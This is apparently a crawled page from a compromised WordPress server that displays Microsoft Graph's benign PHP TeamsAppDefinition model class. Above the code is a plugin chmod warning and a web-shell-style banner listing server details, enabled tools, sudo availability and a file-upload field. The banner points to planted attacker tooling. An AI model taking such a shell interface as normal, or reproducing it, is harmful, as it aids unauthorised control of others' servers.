Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* TeamsAppDefinition File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* TeamsAppDefinition class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class TeamsAppDefinition extends Entity
{
/**
* Gets the authorization
* Authorization requirements specified in the Teams app manifest.
*
* @return TeamsAppAuthorization|null The authorization
*/
public function getAuthorization()
{
if (array_key_exists("authorization", $this->_propDict)) {
if (is_a($this->_propDict["authorization"], "\Microsoft\Graph\Model\TeamsAppAuthorization") || is_null($this->_propDict["authorization"])) {
return $this->_propDict["authorization"];
} else {
$this->_propDict["authorization"] = new TeamsAppAuthorization($this->_propDict["authorization"]);
return $this->_propDict["authorization"];
}
}
return null;
}
/**
* Sets the authorization
* Authorization requirements specified in the Teams app manifest.
*
* @param TeamsAppAuthorization $val The authorization
*
* @return TeamsAppDefinition
*/
public function setAuthorization($val)
{
$this->_propDict["authorization"] = $val;
return $this;
}
/**
* Gets the createdBy
*
* @return IdentitySet|null The createdBy
*/
public function getCreatedBy()
{
if (array_key_exists("createdBy", $this->_propDict)) {
if (is_a($this->_propDict["createdBy"], "\Microsoft\Graph\Model\IdentitySet") || is_null($this->_propDict["createdBy"])) {
return $this->_propDict["createdBy"];
} else {
$this->_propDict["createdBy"] = new IdentitySet($this->_propDict["createdBy"]);
return $this->_propDict["createdBy"];
}
}
return null;
}
/**
* Sets the createdBy
*
* @param IdentitySet $val The createdBy
*
* @return TeamsAppDefinition
*/
public function setCreatedBy($val)
{
$this->_propDict["createdBy"] = $val;
return $this;
}
/**
* Gets the description
* Verbose description of the application.
*
* @return string|null The description
*/
public function getDescription()
{
if (array_key_exists("description", $this->_propDict)) {
return $this->_propDict["description"];
} else {
return null;
}
}
/**
* Sets the description
* Verbose description of the application.
*
* @param string $val The description
*
* @return TeamsAppDefinition
*/
public function setDescription($val)
{
$this->_propDict["description"] = $val;
return $this;
}
/**
* Gets the displayName
* The name of the app provided by the app developer.
*
* @return string|null The displayName
*/
public function getDisplayName()
{
if (array_key_exists("displayName", $this->_propDict)) {
return $this->_propDict["displayName"];
} else {
return null;
}
}
/**
* Sets the displayName
* The name of the app provided by the app developer.
*
* @param string $val The displayName
*
* @return TeamsAppDefinition
*/
public function setDisplayName($val)
{
$this->_propDict["displayName"] = $val;
return $this;
}
/**
* Gets the lastModifiedDateTime
*
* @return \DateTime|null The lastModifiedDateTime
*/
public function getLastModifiedDateTime()
{
if (array_key_exists("lastModifiedDateTime", $this->_propDict)) {
if (is_a($this->_propDict["lastModifiedDateTime"], "\DateTime") || is_null($this->_propDict["lastModifiedDateTime"])) {
return $this->_propDict["lastModifiedDateTime"];
} else {
$this->_propDict["lastModifiedDateTime"] = new \DateTime($this->_propDict["lastModifiedDateTime"]);
return $this->_propDict["lastModifiedDateTime"];
}
}
return null;
}
/**
* Sets the lastModifiedDateTime
*
* @param \DateTime $val The lastModifiedDateTime
*
* @return TeamsAppDefinition
*/
public function setLastModifiedDateTime($val)
{
$this->_propDict["lastModifiedDateTime"] = $val;
return $this;
}
/**
* Gets the publishingState
* The published status of a specific version of a Teams app. Possible values are:submitted — The specific version of the Teams app has been submitted and is under review. published — The request to publish the specific version of the Teams app has been approved by the admin and the app is published. rejected — The request to publish the specific version of the Teams app was rejected by the admin.
*
* @return TeamsAppPublishingState|null The publishingState
*/
public function getPublishingState()
{
if (array_key_exists("publishingState", $this->_propDict)) {
if (is_a($this->_propDict["publishingState"], "\Microsoft\Graph\Model\TeamsAppPublishingState") || is_null($this->_propDict["publishingState"])) {
return $this->_propDict["publishingState"];
} else {
$this->_propDict["publishingState"] = new TeamsAppPublishingState($this->_propDict["publishingState"]);
return $this->_propDict["publishingState"];
}
}
return null;
}
/**
* Sets the publishingState
* The published status of a specific version of a Teams app. Possible values are:submitted — The specific version of the Teams app has been submitted and is under review. published — The request to publish the specific version of the Teams app has been approved by the admin and the app is published. rejected — The request to publish the specific version of the Teams app was rejected by the admin.
*
* @param TeamsAppPublishingState $val The publishingState
*
* @return TeamsAppDefinition
*/
public function setPublishingState($val)
{
$this->_propDict["publishingState"] = $val;
return $this;
}
/**
* Gets the shortDescription
* Short description of the application.
*
* @return string|null The shortDescription
*/
public function getShortDescription()
{
if (array_key_exists("shortDescription", $this->_propDict)) {
return $this->_propDict["shortDescription"];
} else {
return null;
}
}
/**
* Sets the shortDescription
* Short description of the application.
*
* @param string $val The shortDescription
*
* @return TeamsAppDefinition
*/
public function setShortDescription($val)
{
$this->_propDict["shortDescription"] = $val;
return $this;
}
/**
* Gets the teamsAppId
* The ID from the Teams app manifest.
*
* @return string|null The teamsAppId
*/
public function getTeamsAppId()
{
if (array_key_exists("teamsAppId", $this->_propDict)) {
return $this->_propDict["teamsAppId"];
} else {
return null;
}
}
/**
* Sets the teamsAppId
* The ID from the Teams app manifest.
*
* @param string $val The teamsAppId
*
* @return TeamsAppDefinition
*/
public function setTeamsAppId($val)
{
$this->_propDict["teamsAppId"] = $val;
return $this;
}
/**
* Gets the version
* The version number of the application.
*
* @return string|null The version
*/
public function getVersion()
{
if (array_key_exists("version", $this->_propDict)) {
return $this->_propDict["version"];
} else {
return null;
}
}
/**
* Sets the version
* The version number of the application.
*
* @param string $val The version
*
* @return TeamsAppDefinition
*/
public function setVersion($val)
{
$this->_propDict["version"] = $val;
return $this;
}
/**
* Gets the bot
* The details of the bot specified in the Teams app manifest.
*
* @return TeamworkBot|null The bot
*/
public function getBot()
{
if (array_key_exists("bot", $this->_propDict)) {
if (is_a($this->_propDict["bot"], "\Microsoft\Graph\Model\TeamworkBot") || is_null($this->_propDict["bot"])) {
return $this->_propDict["bot"];
} else {
$this->_propDict["bot"] = new TeamworkBot($this->_propDict["bot"]);
return $this->_propDict["bot"];
}
}
return null;
}
/**
* Sets the bot
* The details of the bot specified in the Teams app manifest.
*
* @param TeamworkBot $val The bot
*
* @return TeamsAppDefinition
*/
public function setBot($val)
{
$this->_propDict["bot"] = $val;
return $this;
}
}